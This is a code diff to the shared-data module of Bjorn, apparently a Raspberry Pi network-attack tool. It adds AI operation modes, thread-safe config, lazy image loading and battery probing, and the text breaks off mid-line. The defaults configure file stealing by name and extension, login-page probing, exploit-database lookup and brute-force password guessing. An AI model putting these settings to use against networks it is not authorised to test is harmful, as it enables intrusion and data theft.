self.nmap_prefixes_dir, - self.backup_dir, self.settings_dir + self.backup_dir, self.settings_dir, + self.ai_models_dir, self.ml_exports_dir ] for directory in directories: @@ -142,32 +170,102 @@ class SharedData: def get_default_config(self) -> Dict[str, Any]: """Return default configuration settings""" return { - # General Settings - "__title_Bjorn__": "Settings", + # Core / identity + "__title_Bjorn__": "Core Settings", "bjorn_name": "Bjorn", "current_character": "BJORN", - "manual_mode": False, - "debug_mode": True, - "lang_priority":["en", "fr", "es"] , "lang": "en", - - # Web Server Settings + "lang_priority": ["en", "fr", "es"], + "__tooltips_i18n__": { + "manual_mode": "settings.tooltip.manual_mode", + "ai_mode": "settings.tooltip.ai_mode", + "learn_in_auto": "settings.tooltip.learn_in_auto", + "debug_mode": "settings.tooltip.debug_mode", + "websrv": "settings.tooltip.websrv", + "webauth": "settings.tooltip.webauth", + "bjorn_debug_enabled": "settings.tooltip.bjorn_debug_enabled", + "retry_success_actions": "settings.tooltip.retry_success_actions", + "retry_failed_actions": "settings.tooltip.retry_failed_actions", + "ai_server_url": "settings.tooltip.ai_server_url", + "ai_exploration_rate": "settings.tooltip.ai_exploration_rate", + "ai_sync_interval": "settings.tooltip.ai_sync_interval", + "ai_server_max_failures_before_auto": "settings.tooltip.ai_server_max_failures_before_auto", + "startup_delay": "settings.tooltip.startup_delay", + "web_delay": "settings.tooltip.web_delay", + "screen_delay": "settings.tooltip.screen_delay", + "livestatus_delay": "settings.tooltip.livestatus_delay", + "epd_enabled": "settings.tooltip.epd_enabled", + "showiponscreen": "settings.tooltip.showiponscreen", + "shared_update_interval": "settings.tooltip.shared_update_interval", + "vuln_update_interval": "settings.tooltip.vuln_update_interval", + "semaphore_slots": "settings.tooltip.semaphore_slots", + "runtime_tick_s": "settings.tooltip.runtime_tick_s", + "runtime_gc_interval_s": "settings.tooltip.runtime_gc_interval_s", + "default_network_interface": "settings.tooltip.default_network_interface", + "use_custom_network": "settings.tooltip.use_custom_network", + "custom_network": "settings.tooltip.custom_network", + "portlist": "settings.tooltip.portlist", + "portstart": "settings.tooltip.portstart", + "portend": "settings.tooltip.portend", + "scan_max_host_threads": "settings.tooltip.scan_max_host_threads", + "scan_max_port_threads": "settings.tooltip.scan_max_port_threads", + "mac_scan_blacklist": "settings.tooltip.mac_scan_blacklist", + "ip_scan_blacklist": "settings.tooltip.ip_scan_blacklist", + "hostname_scan_blacklist": "settings.tooltip.hostname_scan_blacklist", + "vuln_fast": "settings.tooltip.vuln_fast", + "nse_vulners": "settings.tooltip.nse_vulners", + "vuln_max_ports": "settings.tooltip.vuln_max_ports", + "use_actions_studio": "settings.tooltip.use_actions_studio", + "bruteforce_exhaustive_enabled": "settings.tooltip.bruteforce_exhaustive_enabled", + "bruteforce_exhaustive_max_candidates": "settings.tooltip.bruteforce_exhaustive_max_candidates", + }, + + # Operation modes + "__title_modes__": "Operation Modes", + "manual_mode": True, + "ai_mode": True, + "learn_in_auto": False, + "debug_mode": True, + + # Web server / UI behavior + "__title_web__": "Web Server", "websrv": True, "webauth": False, + "consoleonwebstart": True, + "web_logging_enabled": False, + "bjorn_debug_enabled": False, "retry_success_actions": False, "retry_failed_actions": True, "blacklistcheck": True, - "consoleonwebstart": True, - - # Timing Settings - "startup_delay": 5, - "web_delay": 2, - "screen_delay": 1, + + # AI / RL + "__title_ai__": "AI / RL", + "ai_server_url": "http://192.168.1.40:8000", + "ai_exploration_rate": 0.1, + "ai_sync_interval": 60, + "ai_training_min_samples": 5, + "ai_confirm_threshold": 0.3, + "ai_batch_size": 100, + "ai_export_max_records": 1000, + "ai_server_max_failures_before_auto": 3, + "ai_upload_retry_backoff_s": 120, + "ai_consolidation_max_batches": 2, + "ai_feature_hosts_limit": 512, + "ai_delete_export_after_upload": True, + "rl_train_batch_size": 10, + + # Global timing / refresh + "__title_timing__": "Timing", + "startup_delay": 3, + "web_delay": 3, + "screen_delay": 3, + "web_screenshot_interval_s": 4.0, "comment_delaymin": 15, "comment_delaymax": 30, "livestatus_delay": 8, - - # Display Settings + + # Display / UI + "__title_display__": "Display", "epd_enabled": True, "screen_reversed": True, "web_screen_reversed": True, @@ -183,30 +281,49 @@ class SharedData: "fullrefresh_delay": 600, "image_display_delaymin": 2, "image_display_delaymax": 8, - - # EPD Display Settings + "health_log_interval": 60, + "epd_watchdog_timeout": 45, + "epd_recovery_cooldown": 60, + "epd_error_backoff": 2, + + # Runtime state updater + "__title_runtime__": "Runtime Updater", + "runtime_tick_s": 0.5, + "runtime_gc_interval_s": 0.0, + + # Power management + "__title_power__": "Power Management", + "pisugar_enabled": True, + "pisugar_socket_path": "/tmp/pisugar-server.sock", + "pisugar_tcp_host": "127.0.0.1", + "pisugar_tcp_port": 8423, + "pisugar_timeout_s": 1.5, + "battery_probe_failures_before_none": 4, + "battery_probe_grace_seconds": 120, + + # EPD / fonts / positions + "__title_epd__": "EPD & Fonts", "ref_width": 122, "ref_height": 250, "epd_type": "epd2in13_V4", "defaultfonttitle": "Viking.TTF", "defaultfont": "Arial.ttf", "line_spacing": 1, - - # Display Positions "frise_default_x": 0, "frise_default_y": 160, "frise_epd2in7_x": 50, "frise_epd2in7_y": 160, - - # Network Interface Settings + + # Network interfaces + "__title_interfaces__": "Network Interfaces", "ip_iface_priority": ["wlan0", "eth0"], "neigh_wifi_iface": "wlan0", "neigh_ethernet_iface": "eth0", "neigh_usb_iface": "usb0", "neigh_bluetooth_ifaces": ["pan0", "bnep0"], - - # Security Lists - "__title_lists__": "List Settings", + + # Network scanning + "__title_network__": "Network Scanning", "portlist": [20, 21, 22, 23, 25, 53, 69, 80, 110, 111, 135, 137, 139, 143, 161, 162, 389, 443, 445, 512, 513, 514, 587, 636, 993, 995, 1080, 1433, 1521, 2049, 3306, 3389, 5000, 5001, 5432, 5900, @@ -214,48 +331,182 @@ class SharedData: "mac_scan_blacklist": [], "ip_scan_blacklist": [], "hostname_scan_blacklist": ["bjorn.home"], - "steal_file_names": ["ssh.csv", "hack.txt"], - "steal_file_extensions": [".bjorn", ".hack", ".flag"], - "ignored_smb_shares": ["print$", "ADMIN$", "IPC$"], - - # Network Scanning Settings - "__title_network__": "Network", "nmap_scan_aggressivity": "-T2", "portstart": 1, "portend": 2, "use_custom_network": False, "custom_network": "192.168.1.0/24", "default_network_interface": "wlan0", + "scan_max_host_threads": 3, + "scan_max_port_threads": 8, + "scan_port_timeout_s": 1.0, + "scan_mac_retries": 2, + "scan_mac_retry_delay_s": 0.6, + "scan_arping_timeout_s": 1.5, + "scan_nmap_discovery_timeout_s": 90, + "scan_nmap_discovery_args": "-sn -PR --max-retries 1 --host-timeout 8s", - # Vulnerability Scanning Settings + # Lists + "__title_lists__": "List Settings", + "steal_file_names": ["ssh.csv", "hack.txt"], + "steal_file_extensions": [".bjorn", ".hack", ".flag"], + "ignored_smb_shares": ["print$", "ADMIN$", "IPC$"], + + # Vulnerability scanning + "__title_vuln__": "Vulnerability Scanning", "vuln_fast": True, "nse_vulners": True, "vuln_max_ports": 25, - "vuln_rescan_on_change_only": False, # (facultatif: force un rescan) + "vuln_rescan_on_change_only": False, "vuln_rescan_ttl_seconds": 0, + "vuln_batch_size": 2, + "vuln_batch_pause_s": 0.5, "scan_cpe": True, "nvd_api_key": "", "exploitdb_repo_dir": "/home/bjorn/exploitdb", "exploitdb_enabled": True, "searchsploit_path": "/home/bjorn/exploitdb/searchsploit", - "exploitdb_root": "/home/bjorn/exploitdb", # si cloné + "exploitdb_root": "/home/bjorn/exploitdb", "kev_feed_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", "epss_api": "https://api.first.org/data/v1/epss?cve=", - #Actions Studio Settings + # Actions studio "__title_actions_studio__": "Actions Studio", "use_actions_studio": True, - - # Action Timing Settings - "__title_timewaits__": "Time Wait Settings", + # Action timings / probes + "__title_timewaits__": "Action Timing Settings", "timewait_smb": 0, "timewait_ssh": 0, "timewait_telnet": 0, "timewait_ftp": 0, "timewait_sql": 0, + "ssh_connect_timeout_s": 6.0, + "ftp_connect_timeout_s": 3.0, + "telnet_connect_timeout_s": 6.0, + "sql_connect_timeout_s": 6.0, + "smb_connect_timeout_s": 6.0, + "web_probe_timeout_s": 4.0, + "web_probe_user_agent": "BjornWebProfiler/1.0", + "web_login_profiler_paths": [ + "/", + "/login", + "/signin", + "/auth", + "/admin", + "/administrator", + "/wp-login.php", + "/user/login", + "/robots.txt", + ], + "web_probe_max_bytes": 65536, + "valkyrie_delay_s": 0.05, + "valkyrie_scout_paths": [ + "/", + "/robots.txt", + "/login", + "/signin", + "/auth", + "/admin", + "/wp-login.php", + ], + "thor_connect_timeout_s": 1.5, + "thor_banner_max_bytes": 1024, + "thor_source": "thor_hammer", + + # Exhaustive bruteforce fallback + "__title_bruteforce__": "Bruteforce Exhaustive", + "bruteforce_exhaustive_enabled": False, + "bruteforce_exhaustive_min_length": 1, + "bruteforce_exhaustive_max_length": 4, + "bruteforce_exhaustive_max_candidates": 2000, + "bruteforce_exhaustive_lowercase": True, + "bruteforce_exhaustive_uppercase": True, + "bruteforce_exhaustive_digits": True, + "bruteforce_exhaustive_symbols": False, + "bruteforce_exhaustive_symbols_chars": "!@#$%^&*", + "bruteforce_exhaustive_require_mix": False, } + @property + def operation_mode(self) -> str: + """ + Get current operation mode: 'MANUAL', 'AUTO', or 'AI'. + Abstracts legacy manual_mode and ai_mode flags. + """ + if getattr(self, "manual_mode", False): + return "MANUAL" + if getattr(self, "ai_mode", False): + return "AI" + return "AUTO" + + @property + def bjorn_instance(self): + """Access the supervisor Bjorn instance via weak reference.""" + return self._bjorn_ref() if self._bjorn_ref else None + + @bjorn_instance.setter + def bjorn_instance(self, instance): + if instance is None: + self._bjorn_ref = None + else: + self._bjorn_ref = weakref.ref(instance) + + @property + def config_json(self) -> str: + """Get configuration as a JSON string (Cached for performance).""" + with self.config_lock: + # Re-serialize only if not cached. + # In a real app we'd check if self.config was modified, + # but for Pi Zero simplicity, we mostly rely on this for repeated web probes. + if self._config_json_cache is None: + self._config_json_cache = json.dumps(self.config) + return self._config_json_cache + + def invalidate_config_cache(self): + """Invalidate the JSON config cache after modifications.""" + self._config_json_cache = None + + @operation_mode.setter + def operation_mode(self, mode: str): + """ + Set operation mode: 'MANUAL', 'AUTO', or 'AI'. + Updates legacy flags for backward compatibility. + """ + mode = str(mode or "").upper().strip() + if mode not in ("MANUAL", "AUTO", "AI"): + return + + # No-op if already in this mode (prevents log spam and redundant work). + try: + if mode == self.operation_mode: + return + except Exception: + pass + + if mode == "MANUAL": + self.config["manual_mode"] = True + # ai_mode state doesn't strictly matter in manual, but keep it clean + self.manual_mode = True + self.ai_mode = False + elif mode == "AI": + self.config["manual_mode"] = False + self.config["ai_mode"] = True + self.manual_mode = False + self.ai_mode = True # Update attribute if it exists + elif mode == "AUTO": + self.config["manual_mode"] = False + self.config["ai_mode"] = False + self.manual_mode = False + self.ai_mode = False + + # Ensure config reflects attributes (two-way sync usually handled by load_config but we do it here for setters) + self.config["manual_mode"] = self.manual_mode + self.config["ai_mode"] = getattr(self, "ai_mode", False) + + self.invalidate_config_cache() + logger.info(f"Operation mode switched to: {mode}") + def get_actions_config(self) -> List[Dict[str, Any]]: """Return actions configuration from database""" try: @@ -278,30 +529,30 @@ class SharedData: self._add_to_blacklist('hostname_scan_blacklist', bjorn_hostname, 'hostname') def _add_to_blacklist(self, blacklist_key: str, value: str, value_type: str): - """Add value to specified blacklist""" - if blacklist_key not in self.config: - self.config[blacklist_key] = [] - - if value not in self.config[blacklist_key]: - self.config[blacklist_key].append(value) - logger.info(f"Added {value_type} {value} to blacklist") - else: - logger.info(f"{value_type} {value} already in blacklist") + """Add value to specified blacklist (Thread-safe)""" + with self.config_lock: + if blacklist_key not in self.config: + self.config[blacklist_key] = [] + + if value not in self.config[blacklist_key]: + self.config[blacklist_key].append(value) + logger.info(f"Added {value_type} {value} to blacklist") + else: + logger.info(f"{value_type} {value} already in blacklist") def get_raspberry_mac(self) -> Optional[str]: """Get MAC address of primary network interface""" try: - # Try wireless interface first - result = subprocess.run(['cat', '/sys/class/net/wlan0/address'], - capture_output=True, text=True) - if result.returncode == 0 and result.stdout.strip(): - return result.stdout.strip().lower() - - # Fallback to ethernet interface - result = subprocess.run(['cat', '/sys/class/net/eth0/address'], - capture_output=True, text=True) - if result.returncode == 0 and result.stdout.strip(): - return result.stdout.strip().lower() + for path in ("/sys/class/net/wlan0/address", "/sys/class/net/eth0/address"): + if not os.path.exists(path): + continue + try: + with open(path, "r", encoding="utf-8") as fh: + mac = fh.read().strip().lower() + if mac: + return mac + except Exception as read_error: + logger.debug(f"Could not read {path}: {read_error}") logger.warning("Could not find MAC address for wlan0 or eth0") return None @@ -321,11 +572,22 @@ class SharedData: def initialize_epd_display(self): """Initialize e-paper display""" + if not self.config.get("epd_enabled", True): + self.epd = None + self.width = int(self.config.get("ref_width", 122)) + self.height = int(self.config.get("ref_height", 250)) + self.ref_width = self.config.get('ref_width', 122) + self.ref_height = self.config.get('ref_height', 250) + self.scale_factor_x = self.width / self.ref_width + self.scale_factor_y = self.height / self.ref_height + logger.info("EPD disabled by config - running in headless mode") + return + try: logger.info("Initializing EPD display...") time.sleep(1) - # Utiliser le manager au lieu de l’ancien helper + # Use Manager instead of Helper self.epd = EPDManager(self.config["epd_type"]) # Config orientation @@ -339,7 +601,7 @@ class SharedData: self.screen_reversed, self.web_screen_reversed = epd_configs[self.config["epd_type"]] logger.info(f"EPD type: {self.config['epd_type']} - reversed: {self.screen_reversed}") - # Init hardware une fois + # Init hardware once self.epd.init_full_update() self.width, self.height = self.epd.epd.width, self.epd.epd.height @@ -353,7 +615,15 @@ class SharedData: except Exception as e: logger.error(f"Error initializing EPD display: {e}") - raise + self.epd = None + self.config["epd_enabled"] = False + self.width = int(self.config.get("ref_width", 122)) + self.height = int(self.config.get("ref_height", 250)) + self.ref_width = self.config.get('ref_width', 122) + self.ref_height = self.config.get('ref_height', 250) + self.scale_factor_x = self.width / self.ref_width + self.scale_factor_y = self.height / self.ref_height + logger.warning("Falling back to headless mode after EPD init failure") def initialize_runtime_variables(self): @@ -374,6 +644,9 @@ class SharedData: self.ethernet_active = False self.pan_connected = False self.usb_active = False + self.current_ip = "No IP" + self.action_target_ip = "" + self.current_ssid = "No Wi-Fi" # Display state self.bjorn_character = None @@ -385,6 +658,12 @@ class SharedData: self.bjorn_status_text2 = "Awakening..." self.bjorn_progress = "" + # --- NEW: AI / RL Real-Time Tracking --- + self.active_action = None + self.last_decision_method = "heuristic" # 'neural_network', 'heuristic', 'exploration' + self.last_ai_decision = {} # Stores all_scores, input_vector, manifest + self.ai_update_event = threading.Event() + # UI positioning self.text_frame_top = int(88 * self.scale_factor_x) self.text_frame_bottom = int(159 * self.scale_factor_y) @@ -392,6 +671,13 @@ class SharedData: # Statistics self.battery_status = 26 + self.battery_percent = 26 + self.battery_voltage = None + self.battery_is_charging = False + self.battery_present = False + self.battery_source = "unknown" + self.battery_last_update = 0.0 + self.battery_probe_failures = 0 self.target_count = 0 self.port_count = 0 self.vuln_count = 0 @@ -403,13 +689,19 @@ class SharedData: self.network_kb_count = 0 self.attacks_count = 0 + # System Resources (Cached) + self.system_cpu = 0 + self.system_mem = 0 + self.system_mem_used = 0 + self.system_mem_total = 0 + # Display control self.show_first_image = True - # Threading - self.scripts_lock = threading.Lock() + # Threading Containers self.running_scripts = {} - self.output_lock = threading.Lock() + self.display_runtime_metrics = {} + self.health_metrics = {} # URLs self.github_version_url = "https://raw.githubusercontent.com/infinition/Bjorn/main/version.txt" @@ -467,14 +759,13 @@ class SharedData: actions_config.append(meta) # Status tracking - if meta["b_class"] not in self.status_list: - self.status_list.append(meta["b_class"]) + self.status_list.add(meta["b_class"]) if actions_config: self.db.sync_actions(actions_config) logger.info(f"Synchronized {len(actions_config)} actions to database") - # Garde actions_studio alignée + # Keep actions_studio aligned try: self.db._sync_actions_studio_schema_and_rows() logger.info("actions_studio schema/rows synced (non-destructive)") @@ -484,11 +775,10 @@ class SharedData: except Exception as e: logger.error(f"Error syncing actions to database: {e}") - def _extract_action_metadata(self, filepath: str) -> Optional[Dict[str, Any]]: """Extract action metadata from Python file using AST parsing (Safe)""" try: - with open(filepath, "r", encoding="utf-8") as f: + with open(filepath, "r", encoding="utf-8-sig") as f: tree = ast.parse(f.read(), filename=filepath) meta = {} @@ -501,7 +791,6 @@ class SharedData: val = ast.literal_eval(node.value) meta[key] = val except (ValueError, SyntaxError): - logger.warning(f"Could not safe-eval variable {key} in {filepath}. Use literals only.") pass # Set default module name if not specified @@ -514,10 +803,6 @@ class SharedData: logger.error(f"Failed to parse {filepath}: {e}") return None - # ... (le reste des méthodes initialize_database, load_config, etc. reste inchangé) ... - # Assurez-vous d'inclure les autres méthodes existantes de la classe SharedData ici. - # Pour la brièveté de la réponse, je ne répète pas les méthodes non modifiées si elles sont identiques au fichier original. - # [INCLURE LE RESTE DU FICHIER SHARED.PY ORIGINAL ICI] def initialize_database(self): """Initialize database schema""" logger.info("Initializing database schema") @@ -529,43 +814,33 @@ class SharedData: actions = self.db.list_actions() for action in actions: if action.get("b_class"): - self.status_list.append(action["b_class"]) + self.status_list.add(action["b_class"]) except Exception as e: logger.error(f"Error initializing database: {e}") def load_config(self): - """Load configuration from database""" - try: - logger.info("Loading configuration from database") - cfg = self.db.get_config() - - if not cfg: - # Seed with defaults - self.db.save_config(self.default_config.copy()) - cfg = self.db.get_config() or {} - - # Merge with current config - self.config.update(cfg) - - # Expose config as attributes for backward compatibility - for key, value in self.config.items(): - setattr(self, key, value) - - except Exception as e: - logger.error(f"Error loading configuration: {e}") - # Fallback to defaults - for key, value in self.config.items(): - setattr(self, key, value) + """Load configuration from DB (Thread-safe)""" + with self.config_lock: + try: + cfg = self.db.get_config() + if not cfg: + self.db.save_config(self.default_config.copy()) + cfg = self.db.get_config() or {} + self.config.update(cfg) + for key, value in self.config.items(): + setattr(self, key, value) + except Exception as e: + logger.error(f"Error loading configuration: {e}") def save_config(self): - """Save configuration to database""" - logger.info("Saving configuration to database") - try: - self.db.save_config(self.config) - logger.info("Configuration saved successfully") - except Exception as e: - logger.error(f"Error saving configuration: {e}") + """Save configuration to DB (Thread-safe)""" + with self.config_lock: + try: + self.db.save_config(self.config) + self.invalidate_config_cache() + except Exception as e: + logger.error(f"Error saving configuration: {e}") def load_fonts(self): """Load font resources""" @@ -579,7 +854,10 @@ class SharedData: # Load font sizes self.font_arial14 = self._load_font(self.default_font_path, 14) self.font_arial11 = self._load_font(self.default_font_path, 11) + self.font_arial10 = self._load_font(self.default_font_path, 10) self.font_arial9 = self._load_font(self.default_font_path, 9) + self.font_arial8 = self._load_font(self.default_font_path, 8) + self.font_arial7 = self._load_font(self.default_font_path, 7) self.font_arialbold = self._load_font(self.default_font_path, 12) # Viking font for title @@ -598,33 +876,39 @@ class SharedData: return ImageFont.truetype(font_path, size) except Exception as e: logger.error(f"Error loading font {font_path}: {e}") - raise + return ImageFont.load_default() + + # ========================================================================= + # IMAGE MANAGEMENT (LAZY LOADING EDITION) + # Optimizes RAM by indexing paths instead of loading all pixels at once + # ========================================================================= def load_images(self): - """Load image resources for display""" + """Initialize images: load static ones to RAM, index status paths for lazy loading""" try: - logger.info("Loading images") - - # Initialize status image + logger.info("SharedData: Indexing images (Lazy Loading Mode)") self.bjorn_status_image = None - # Load static images + # Load static images (keep in RAM, they are small and used constantly) self._load_static_images() - # Load status images - self._load_status_images() + # Set default character from static images + self.bjorn_character = getattr(self, 'bjorn1', None) + + # Index status images (don't load pixels yet) + self._index_status_images() # Calculate display positions self._calculate_image_positions() - logger.info("Images loaded successfully") + logger.info("Images indexed successfully") except Exception as e: - logger.error(f"Error loading images: {e}") + logger.error(f"Error indexing images: {e}") raise def _load_static_images(self): - """Load static UI images""" + """Load static UI images into RAM""" static_images = { 'bjorn1': 'bjorn1.bmp', 'port': 'port.bmp', @@ -658,9 +942,10 @@ class SharedData: image_path = os.path.join(self.static_images_dir, filename) setattr(self, attr_name, self._load_image(image_path)) - def _load_status_images(self): - """Load status-specific images and image series""" - self.image_series = {} + def _index_status_images(self): + """Index file paths for animations instead of loading them into RAM""" + self.image_series_paths = {} + self.main_status_paths = {} try: # Load images from database actions @@ -668,113 +953,119 @@ class SharedData: for action in actions: b_class = action.get('b_class') if b_class: - # Load individual status image + # Index main status image path status_dir = os.path.join(self.status_images_dir, b_class) - image_path = os.path.join(status_dir, f'{b_class}.bmp') - image = self._load_image(image_path) - setattr(self, b_class, image) + main_img_path = os.path.join(status_dir, f'{b_class}.bmp') + self.main_status_paths[b_class] = main_img_path - if b_class not in self.status_list: - self.status_list.append(b_class) + self.status_list.add(b_class) - # Load image series for animations - self.image_series[b_class] = [] - if not os.path.isdir(status_dir): - os.makedirs(status_dir, exist_ok=True) - logger.warning(f"Created missing directory: {status_dir}") - - # Load numbered images for animation - for image_name in os.listdir(status_dir): - if image_name.endswith('.bmp') and re.search(r'\d', image_name): - series_image = self._load_image(os.path.join(status_dir, image_name)) - if series_image: - self.image_series[b_class].append(series_image) - - logger.info(f"Loaded {len(self.image_series.get(b_class, []))} images for {b_class}") + # Index animation frames paths + self.image_series_paths[b_class] = [] + if os.path.isdir(status_dir): + for image_name in os.listdir(status_dir): + if image_name.endswith('.bmp') and re.search(r'\d', image_name): + self.image_series_paths[b_class].append(os.path.join(status_dir, image_name)) + else: + # Create missing directory safely + try: + os.makedirs(status_dir, exist_ok=True) + except: pass + + logger.info(f"Indexed {len(self.image_series_paths)} status categories") except Exception as e: - logger.error(f"Error loading status images: {e}") - - # Ensure IDLE images exist as fallback - if not self.image_series: - logger.error("No image series loaded") - else: - for status, images in self.image_series.items(): - logger.info(f"Status {status}: {len(images)} animation frames") + logger.error(f"Error indexing status images: {e}") def _load_image(self, image_path: str) -> Optional[Image.Image]: - """Load a single image file""" + """Load a single image file safely and release file descriptor immediately""" try: if not os.path.exists(image_path): - logger.warning(f"Image not found: {image_path}") + # Only warn if it's not a lazy-load check return None - return Image.open(image_path) + + # Force pixel load and detach from file handle to avoid FD leaks. + with Image.open(image_path) as img: + loaded = img.copy() + return loaded except Exception as e: logger.error(f"Error loading image {image_path}: {e}") return None def _calculate_image_positions(self): """Calculate image positions for display centering""" - if self.bjorn1: + if hasattr(self, 'bjorn1') and self.bjorn1: self.x_center1 = (self.width - self.bjorn1.width) // 2 self.y_bottom1 = self.height - self.bjorn1.height def update_bjorn_status(self): - """Update current status image""" + """Lazy Load the main status image when status changes""" try: - self.bjorn_status_image = getattr(self, self.bjorn_orch_status, None) - if self.bjorn_status_image is None: - logger.warning(f"Image for status {self.bjorn_orch_status} not available, using default") + # Try to load from indexed paths + path = self.main_status_paths.get(self.bjorn_orch_status) + + if path and os.path.exists(path): + self.bjorn_status_image = self._load_image(path) + else: + # Fallback to attack image + logger.warning(f"Image for status {self.bjorn_orch_status} not found, using default") self.bjorn_status_image = self.attack - except AttributeError: - logger.warning(f"Status {self.bjorn_orch_status} not found, using IDLE") + + except Exception: self.bjorn_status_image = self.attack self.bjorn_status_text = self.bjorn_orch_status def update_image_randomizer(self): - """Select random image from current status series""" + """Select random image path and Lazy Load it""" try: status = self.bjorn_status_text - # Try to get images for current status - if status in self.image_series and self.image_series[status]: - images = self.image_series[status] - # Fallback to IDLE images - elif "IDLE" in self.image_series and self.image_series["IDLE"]: - logger.warning(f"No images for {status}, using IDLE") - images = self.image_series["IDLE"] - else: - logger.error("No images available") + # Get list of paths for current status + paths = self.image_series_paths.get(status) + + # Fallback to IDLE if empty or non-existent + if not paths and "IDLE" in self.image_series_paths: + paths = self.image_series_paths["IDLE"] + + if not paths: self.imagegen = None return + + # Select random file path + random_path = random.choice(paths) - # Select random image - random_index = random.randint(0, len(images) - 1) - self.imagegen = images[random_index] + # Load specific frame + self.imagegen = self._load_image(random_path) - # Calculate centering - self.x_center = (self.width - self.imagegen.width) // 2 - self.y_bottom = self.height - self.imagegen.height + if self.imagegen: + # Calculate centering + self.x_center = (self.width - self.imagegen.width) // 2 + self.y_bottom = self.height - self.imagegen.height except Exception as e: logger.error(f"Error updating image randomizer: {e}") self.imagegen = None def wrap_text(self, text: str, font: ImageFont.FreeTypeFont, max_width: int) -> List[str]: - """Wrap text to fit within specified width""" + """Wrap text to fit within specified width — boucle infinie protégée.""" try: lines = [] words = text.split() - + if not words: + return [""] + while words: line = [] + # Toujours ajouter au moins 1 mot même s'il dépasse max_width + # sinon si le mot seul > max_width → boucle infinie garantie + line.append(words.pop(0)) while words and font.getlength(' '.join(line + [words[0]])) <= max_width: line.append(words.pop(0)) - lines.append(' '.join(line).strip()) - - return lines - + lines.append(' '.join(line)) + + return lines if lines else [text] + except Exception as e: logger.error(f"Error wrapping text: {e}") return [text] @@ -799,7 +1090,233 @@ class SharedData: self.vuln_count * 0.01 ) + # ========================================================================= + # BATTERY MANAGEMENT (ROBUST PISUGAR/SYSFS LOGIC) + # ========================================================================= + + def _extract_first_float(self, text: Optional[str]) -> Optional[float]: + if not text: + return None + try: + # PiSugar responses may use either '.' or ',' as decimal separator. + text_normalized = str(text).replace(",", ".") + m = re.search(r"[-+]?\d+(?:\.\d+)?", text_normalized) + if not m: + return None + return float(m.group(0)) + except Exception: + return None + + def _parse_bool_reply(self, text: Optional[str]) -> Optional[bool]: + if text is None: + return None + s = str(text).strip().lower() + if "true" in s: + return True + if "false" in s: + return False + n = self._extract_first_float(s) + if n is None: + return None + return bool(int(n)) + + def _pisugar_send_command(self, command: str, timeout_s: float = 1.0) -> Optional[str]: + if not self.config.get("pisugar_enabled", True): + return None + + timeout_s = float(self.config.get("pisugar_timeout_s", timeout_s)) + payload = (command.strip() + "\n").encode("utf-8") + + sock_path = str(self.config.get("pisugar_socket_path", "/tmp/pisugar-server.sock")) + try: + if os.path.exists(sock_path): + with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s: + s.settimeout(timeout_s) + s.connect(sock_path) + s.sendall(payload) + return s.recv(1024).decode("utf-8", errors="ignore").strip() + except Exception: + pass + + host = str(self.config.get("pisugar_tcp_host", "127.0.0.1")) + port = int(self.config.get("pisugar_tcp_port", 8423)) + try: + with socket.create_connection((host, port), timeout=timeout_s) as s: + s.settimeout(timeout_s) + s.sendall(payload) + return s.recv(1024).decode("utf-8", errors="ignore").strip() + except Exception: + return None + + def _pisugar_battery_probe(self) -> Optional[Dict[str, Any]]: + battery_raw = self._pisugar_send_command("get battery") + if not battery_raw: + return None + + level_float = self._extract_first_float(battery_raw) + if level_float is None: + return None + level_pct = max(0, min(100, int(round(level_float)))) + + voltage_raw = self._pisugar_send_command("get battery_v") + plugged_raw = self._pisugar_send_command("get battery_power_plugged") + allow_charging_raw = self._pisugar_send_command("get battery_allow_charging") + charging_raw = self._pisugar_send_command("get battery_charging") + + charging = self._parse_bool_reply(charging_raw) + if charging is None: + plugged = self._parse_bool_reply(plugged_raw) + allow_charging = self._parse_bool_reply(allow_charging_raw) + if plugged is not None and allow_charging is not None: + charging = plugged and allow_charging + elif plugged is not None: + charging = plugged + else: + charging = False + + voltage = self._extract_first_float(voltage_raw) + + return { + "present": True, + "level_pct": level_pct, + "charging": bool(charging), + "voltage": voltage, + "source": "pisugar", + } + + def _sysfs_battery_probe(self) -> Optional[Dict[str, Any]]: + try: + base = "/sys/class/power_supply" + if not os.path.isdir(base): + return None + + bat_dir = None + for entry in os.listdir(base): + if entry.startswith("BAT"): + bat_dir = os.path.join(base, entry) + break + if not bat_dir: + return None + + cap_path = os.path.join(bat_dir, "capacity") + status_path = os.path.join(bat_dir, "status") + volt_path = os.path.join(bat_dir, "voltage_now") + + level_pct = None + if os.path.exists(cap_path): + with open(cap_path, "r", encoding="utf-8") as f: + cap_txt = f.read().strip() + if cap_txt.isdigit(): + level_pct = max(0, min(100, int(cap_txt))) + if level_pct is None: + return None + + charging = False + if os.path.exists(status_path): + with open(status_path, "r", encoding="utf-8") as f: + st = f.read().strip().lower() + charging = st.startswith("char") or st.startswith("full") + + voltage = None + if os.path.exists(volt_path): + with open(volt_path, "r", encoding="utf-8") as f: + raw = f.read().strip() + n = self._extract_first_float(raw) + if n is not None: + # Common sysfs format: microvolts + voltage = n / 1_000_000 if n > 1000 else n + + return { + "present": True, + "level_pct": level_pct, + "charging": bool(charging), + "voltage": voltage, + "source": "sysfs", + } + except Exception: + return None + + def update_battery_status(self) -> bool: + """ + Refresh battery metrics from PiSugar (preferred) or sysfs fallback. + battery_status convention: + - 0..100 => discharge level + - 101 => charging icon on EPD + """ + now = time.time() + failures_before_none = max(1, int(self.config.get("battery_probe_failures_before_none", 4))) + grace_seconds = max(0.0, float(self.config.get("battery_probe_grace_seconds", 120))) + + data = self._pisugar_battery_probe() or self._sysfs_battery_probe() + + if not data: + self.battery_probe_failures = int(getattr(self, "battery_probe_failures", 0)) + 1 + last_ok = float(getattr(self, "battery_last_update", 0.0)) + had_recent_sample = last_ok > 0 and (now - last_ok) <= grace_seconds + + if had_recent_sample and bool(getattr(self, "battery_present", False)): + return False + + if self.battery_probe_failures >= failures_before_none: + self.battery_present = False + self.battery_is_charging = False + self.battery_source = "none" + self.battery_status = 0 + self.battery_last_update = now + return False + + recovered_after_failures = self.battery_probe_failures > 0 + self.battery_probe_failures = 0 + + level_pct = int(data.get("level_pct", self.battery_percent)) + charging = bool(data.get("charging", False)) + voltage = data.get("voltage") + + self.battery_present = bool(data.get("present", True)) + self.battery_percent = max(0, min(100, level_pct)) + self.battery_is_charging = charging + self.battery_voltage = float(voltage) if voltage is not None else None + self.battery_source = str(data.get("source", "unknown")) + self.battery_last_update = now + self.battery_status = 101 if charging else self.battery_percent + + if recovered_after_failures: + logger.info(f"Battery probe recovered: source={self.battery_source}") + + return True + def 